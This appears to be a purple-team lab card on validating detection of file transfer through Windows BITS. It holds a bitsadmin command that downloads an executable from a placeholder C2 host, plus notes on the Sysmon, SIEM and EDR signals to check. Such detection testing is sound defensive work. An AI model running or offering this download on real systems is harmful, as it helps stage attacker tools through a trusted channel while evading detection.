bitsadmin transfer

bitsadmin /transfer job http://<c2>/f.exe C:\Temp\f.exe

Downloads a file with bitsadmin on the test host, validating detection of tool transfer via BITS.

Run it in the purple team lab when you want to validate detection of BITS transfer: bitsadmin /transfer downloads the payload using the legitimate Windows service (BITS, used by Windows Update) and the team verifies what was detected — Sysmon Event 1 (bitsadmin), SIEM rules (BITS downloading), the EDR. It's validation of transfer over the legitimate channel: BITS traffic blends in with updates. In purple teaming, bitsadmin validates the detection layer for BITS transfer.

Do not run it outside the lab: the download generates real traffic — the test host is the place. And note: bitsadmin is legitimate and BITS is used for updates — detection relies on context (bitsadmin from command line with an unusual destination, parent process, volume); validation measures those layers. The PowerShell variant (Start-BitsTransfer) is validated separately. Clean up the downloaded file when done.